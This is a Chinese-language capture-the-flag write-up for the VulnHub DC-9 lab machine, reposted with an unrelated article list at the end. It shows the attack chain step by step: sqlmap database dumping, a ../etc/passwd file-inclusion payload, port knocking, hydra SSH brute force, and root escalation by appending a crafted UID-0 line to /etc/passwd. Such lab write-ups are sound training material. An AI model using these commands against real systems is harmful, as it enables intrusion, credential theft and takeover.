VulnHub靶机 DC-9 靶机 详细渗透过程

VulnHub靶机 DC-9 打靶实战 详细渗透过程

目录

  • VulnHub靶机 DC-9 打靶实战 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登入后台
        • 文件包含
        • SSH爆破
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-9,412/

image-20240427175043625

二、渗透测试

主机发现

通过使用arp-scan或者nmap进行主机发现

arp-scan -l

image-20240427175427033

端口扫描

发现主机后进行信息收集,端口扫描

nmap -p- 192.168.43.5

image-20240427175522914

开放HTTP80端口和SSH22端口,但是发现22端口为filtered状态,然后接下来查看HTTP的服务详情

nmap -p80 -sV -A 192.168.43.5

image-20240427175639500

访问web界面

image-20240427175753617

image-20240427175942360

指纹探测

whatweb http://192.168.43.5/index.php

image-20240427175930547

目录扫描

dirsearch -u http://192.168.43.5/ -i 200

image-20240427182930175

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

Web渗透

SQL注入

在搜索栏下发现有交互内容,输入一下信息并无输出什么,抓包尝试SQL注入

image-20240427183106599

抓取数据包,通过FUZZ测试SQL注入,发现有回显点,页面变化

image-20240427183224422

image-20240427183300197

页面发送变化,返回信息

image-20240427184721615

保存原始数据包,直接放入到sqlmap当中进行执行

//测试SQL注入,判断当前数据库,同时是否为DBA
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs

成功注入,发现当前使用的数据库,但并不是DBA

image-20240427183451884

脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D Staff --dump

image-20240427183615639

users数据表当中发现用户名和密码,将密码进行md5解密

image-20240427183643305

image-20240427183706128

用户名:admin
密码:transorbital1

由于使用的当前数据库为Staff,所以可以直接判断出此用户名和密码即为后台管理员用户名和密码。

知道此,那么还有另一个数据库,继续脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump

拿到大量的用户名和密码信息,保存下来

image-20240427183857256

登入后台

拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd

image-20240427184905771

image-20240427185020733

文件包含
http://192.168.43.5/welcome.php?file=../../../../etc/passwd

image-20240427185726398

image-20240427185806810

通过/etc/passwd可得拥有很多的用户名,其中包括users数据库当中的用户名

image-20240427185927721

image-20240427183857256

SSH爆破

将之前保存下来的这些用户名和密码,进行爆破

hydra -L user.txt -P passwords.txt ssh://192.168.43.5
提权

ssh爆破得到三个用户名和密码,分别登录即可。

ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。但我这里通过爆破后进行ssh登录时可直接登录的,可能在前面端口扫描时触发了规则导致打开。

详细参考:安全系列之端口敲门服务

如果不能ssh连接原因如下:

image-20240427175522914

存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全

//配置文件路径
默认配置文件是:/etc/knockd.conf

image-20240427212543349

//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问

image-20240427213635311

ssh爆破,使用hydra工具进行爆破,等待即可

image-20240427190635480

chandlerb用户:

image-20240427191727259

joeyt用户:

image-20240427191750934

janitor用户:

image-20240427191819255

通过find命令和sudo -l 命令三者用户皆无得到可利用信息

但是通过三者发现在janitor用户的家目录下多了一个隐藏文件,查看后发现为密码文件,那么将这些密码添加到之前的字典当中,再次爆破一次

hydra -L user.txt -P passwords.txt ssh://192.168.43.5

image-20240427191928396

发现成功爆破出新的用户登录信息,进行登录。或者直接su切换也可

ssh fredf@192.168.43.5

image-20240427192256334

sudo -l命令查看到以root权限运行的文件,进行查看

sudo -l

test为可执行文件

image-20240427192340092

image-20240427192423912

查看所在目录的一些信息,寻找可利用内容

image-20240427192643948

返回上级目录查找到py文件,查看脚本内容

python脚本意思为将参数1进行读取,将参数1的内容写入到参数2当中

image-20240427193128772

那么接下来就可以进行构造/etc/passwd文件当中的信息,进行追加用户信息即可提权,仿照/etc/passwd文件当中内容进行构造信息

//etc/passwd下的root用户信息
root:x:0:0:root:/root:/bin/bash

//根据root信息,构造用户信息追加到/etc/passwd文件当中,添加admin用户
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

ps:使用openssl生成密码即可

openssl passwd -1 -salt 123 admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
//将上述构造的语句写入到文件当中

image-20240427194552701

将构造的信息保存到一个文件当中,然后接下来执行text即可

目前的/etc/passwd当中没有新增用户

image-20240427194726693

执行后:

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

image-20240427194855063

image-20240427194842306

成功追加,直接su切换admin用户,输入密码,成功提权

su admin
Password:admin

image-20240427194942120

思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权


VulnHub靶机 DC靶机系列 通关手册

DC-1:Vulnhub靶机 DC-1 渗透详细过程

DC-2:Vulnhub靶机 DC-2 渗透详细过程

DC-3:Vulnhub 靶机 DC-3 实战系列 渗透详细过程

DC-4:VulnHub系列 DC-4靶机 渗透详细过程

DC-5:VulnHub靶机 DC-5 打靶 渗透测试详细过程

DC-6:Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

DC-7:VulnHub靶机 DC-7 打靶 渗透详细流程

DC-8:VulnHub靶机 DC-8 打靶实战 详细渗透过程

DC-9:VulnHub靶机 DC-9 靶机 详细渗透过程


文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/579798.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【MHA】MySQL高可用MHA介绍1-功能,架构,优势,案例

目录 一 MHA 介绍 1 MHA功能 自动化主服务器监控和故障转移 交互式(手动启动的)主故障转移 非交互式主故障转移 在线切换主机 2 主服务器故障转移的难点 二 MHA架构 1 MHA组件 2 自定义扩展(脚本) 三 MHA优势 1 MHA可以…

锂电池SOH预测 | 基于BP神经网络的锂电池SOH预测(附matlab完整源码)

锂电池SOH预测 锂电池SOH预测完整代码锂电池SOH预测 锂电池的SOH(状态健康度)预测是一项重要的任务,它可以帮助确定电池的健康状况和剩余寿命,从而优化电池的使用和维护策略。 SOH预测可以通过多种方法实现,其中一些常用的方法包括: 容量衰减法:通过监测电池的容量衰减…

jupyter notebook设置代码自动补全

jupyter notebook设置代码自动补全 Anaconda Prompt窗口执行 pip install jupyter_contrib_nbextensionsjupyter contrib nbextensions install --userpip install jupyter_nbextensions_configuratorjupyter nbextensions_configurator enable --user按如下图片设置 卸载jed…

HarmonyOS Next从入门到精通实战精品课

第一阶段:HarmonyOS Next星河版从入门到精通该阶段由HarmonyOS Next星河版本出发,介绍HarmonyOS Next版本应用开发基础概念,辅助学员快速上手新版本开发范式,共计42课时 第一天鸿蒙NEXT Mac版、Windows版【编辑器】和【模拟器】&a…

长度最小的子数组 ---- 滑动窗口

题目链接 题目: 分析: 解法一:暴力解法, 找到所有连续子数组, 保留满足条件的解法二: 利用滑动窗口 找子数组 因为数组中都是正整数, 通过进窗口的操作, 我们找到一组, 如示例一中的2,3,1,2, 判断满足和>7, 那么根据单调性, 我们就不再需要判断加上后面两个数的两个子数组…

记录浏览器打开网站拦截提示不安全解决方法

浏览器可能会因为多种原因显示“不安全”的警告,这通常是由于安全设置不当或配置错误造成的。以下是一些常见的原因和解决方法: 1. HTTPS未启用 原因:如果网站使用HTTP而不是HTTPS,浏览器可能会显示不安全的警告。 解决方法:配置SSL/TLS证书并使用HTTPS来加密数据传输…

鹏哥C语言复习——字符函数与字符串函数

目录 一.字符函数 1.字符分类函数 2.字符转换函数 二.基础字符串函数 1.strlen函数 2.strcpy函数 3.strcat函数 4.strcmp函数 三.基础字符串函数优化 1.strncpy函数 2.strncat函数 3.strncmp函数 四.进阶字符串函数 1.strstr函数 2.strtok函数 3.strerror函数 一…

做大模型产品,如何设计prompt?

做GenAI产品,除了要设计好的AI任务流程,合理的拆分业务以外,最重要的就是写好prompt,管理好prompt,持续迭代prompt。 prompt一般有两种形式:结构化prompt和对话式prompt。 结构化prompt的优点是通过规范的…

vim的IDE进阶之路

一 ctags 1 安装 安装ctags比较简单,我用的是vim-plug,网络上随便一搜应该就有很多教程,而且没有什么坑 2 使用 vim之函数跳转功能_nvim函数跳转-CSDN博客https://blog.csdn.net/ballack_linux/article/details/71036072不过针对cuda程序…

【Android】 四大组件详解之广播接收器、内容提供器

目录 前言广播机制简介系统广播动态注册实现监听网络变化静态注册实现开机自启动 自定义广播发送标准广播发送有序广播 本地广播 内容提供器简介运行时权限访问其他程序中的数据ContentResolver的基本用法读取系统联系人 创建自己的内容提供器创建内容提供器的步骤 跨程序数据共…

数据仓库是什么

写在前面 刚接触大数据的新手小白可能会对数据仓库这个词比较陌生,本文将介绍数据仓库的主要特征及OLTP&OLAP的区别,帮助读者更好理解数据仓库。 一、什么是数据仓库 数据仓库,简称数仓,是一个对数据进行加工,集…

【go零基础】go-zero从零基础学习到实战教程 - 0环境配置

是个前端,最近开始学习go,后端除node外基本0基础,所以学习曲线有点绕,目标是个基础的服务端demo,搞个api服务后台,包含基础的用户登录、文章发布和写文章、权限控制,差不多就是个完整博客系统。…

CentOS 9 (stream) 安装 nginx

1.我们直接使用安装命令 dnf install nginx 2.安装完成后启动nginx服务 # 启动 systemctl start nginx # 设置开机自启动 systemctl enable nginx# 重启 systemctl restart nginx# 查看状态 systemctl status nginx# 停止服务 systemctl stop nginx 3.查看版本确认安装成功…

Apollo 7周年大会自动驾驶生态利剑出鞘

前言 4月22日,百度Apollo在北京车展前夕举办了以“破晓•拥抱智变时刻”为主题的智能汽车产品发布会,围绕汽车智能化,发布了智驾、智舱、智图等全新升级的“驾舱图”系列产品。 1、7周年大会 自2013年百度开始布局自动驾驶,201…

【leetcode】数组和相关题目总结

1. 两数之和 直接利用hashmap存储值和对于索引&#xff0c;利用target-nums[i]去哈希表里找对应数值。返回下标。 class Solution { public:vector<int> twoSum(vector<int>& nums, int target) {unordered_map<int, int> mp;vector<int> res;fo…

【Leetcode每日一题】 分治 - 面试题 17.14. 最小K个数(难度⭐⭐)(66)

1. 题目解析 题目链接&#xff1a;面试题 17.14. 最小K个数 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 在快速排序算法中&#xff0c;我们通常会通过选择一个基准元素&#xff0c;然后将数组划分为三个部分&…

基于Spring Boot的火车订票管理系统设计与实现

基于Spring Boot的火车订票管理系统设计与实现 开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/idea 系统部分展示 前台首页功能界面图&#xff0c;在系统首页可以查看…

数据结构——插入排序

基本思想&#xff1a; 直接插入排序是一种简单的插入排序法&#xff0c;其基本思想是&#xff1a;把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中&#xff0c;直到所有的记录插入完为止&#xff0c;得到一个新的有序序列 。 实际中我们玩扑克牌时&…

排序算法(1)

一、基础概念 稳定性&#xff1a;假定在待排序的记录序列中&#xff0c;存在多个具有相同的关键字的记录&#xff0c;若经过排序&#xff0c;这些记录的相对次序保持 不变&#xff0c;即在原序列中&#xff0c;r[i]r[j]&#xff0c;且r[i]在r[j]之前&#xff0c;而在排序后的序…

TCP/IP协议族中的TCP(一):解析其关键特性与机制

⭐小白苦学IT的博客主页⭐ ⭐初学者必看&#xff1a;Linux操作系统入门⭐ ⭐代码仓库&#xff1a;Linux代码仓库⭐ ❤关注我一起讨论和学习Linux系统 前言 TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;是一种面向连接的、可靠的、基于字…
最新文章